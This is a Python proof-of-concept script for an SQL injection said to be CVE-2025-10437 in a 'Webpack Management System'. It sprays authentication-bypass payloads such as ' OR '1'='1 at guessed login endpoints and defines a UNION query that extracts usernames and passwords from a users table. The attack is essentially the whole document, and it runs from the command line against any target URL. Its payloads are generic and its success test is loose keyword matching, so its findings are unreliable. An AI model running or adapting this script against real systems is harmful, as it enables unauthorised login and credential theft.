# CVE-2025-10437 SQL Injection PoC
# Target: Webpack Management System
# Type: Unauthenticated SQL Injection
#
# Basic Authentication Bypass using OR condition:
#
import requests
import sys
def test_sqli(target_url):
"""Test for SQL Injection vulnerability"""
# Vulnerable endpoint (typical path for Webpack Management System)
endpoints = [
'/login',
'/admin/login',
'/api/auth',
'/api/login',
'/user/login'
]
# SQL Injection payloads
payloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"' OR '1'='1' #",
"admin' OR '1'='1",
"' OR 1=1--",
"' OR 'a'='a"
]
for endpoint in endpoints:
url = target_url.rstrip('/') + endpoint
for payload in payloads:
# Test authentication bypass
data = {
'username': payload,
'password': payload
}
try:
response = requests.post(url, data=data, timeout=10)
# Check for successful injection indicators
if any(indicator in response.text.lower() for indicator in
['admin', 'dashboard', 'welcome', 'logout', 'management']):
print(f"[+] Potential SQL Injection found at {url}")
print(f"[+] Payload: {payload}")
return True
except Exception as e:
print(f"[-] Error testing {url}: {e}")
return False
def extract_data(target_url):
"""Extract data using UNION-based SQL injection"""
# UNION-based injection for data extraction
union_payloads = [
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT username,password FROM users--",
"' UNION SELECT NULL,NULL,NULL,NULL FROM information_schema.tables--"
]
for payload in union_payloads:
# Modify based on actual vulnerable parameter
params = {'id': payload}
try:
response = requests.get(target_url, params=params, timeout=10)
print(f"[*] Testing payload: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-10437.py <target_url>")
sys.exit(1)
target = sys.argv[1]
print(f"[*] Testing CVE-2025-10437 on {target}")
test_sqli(target)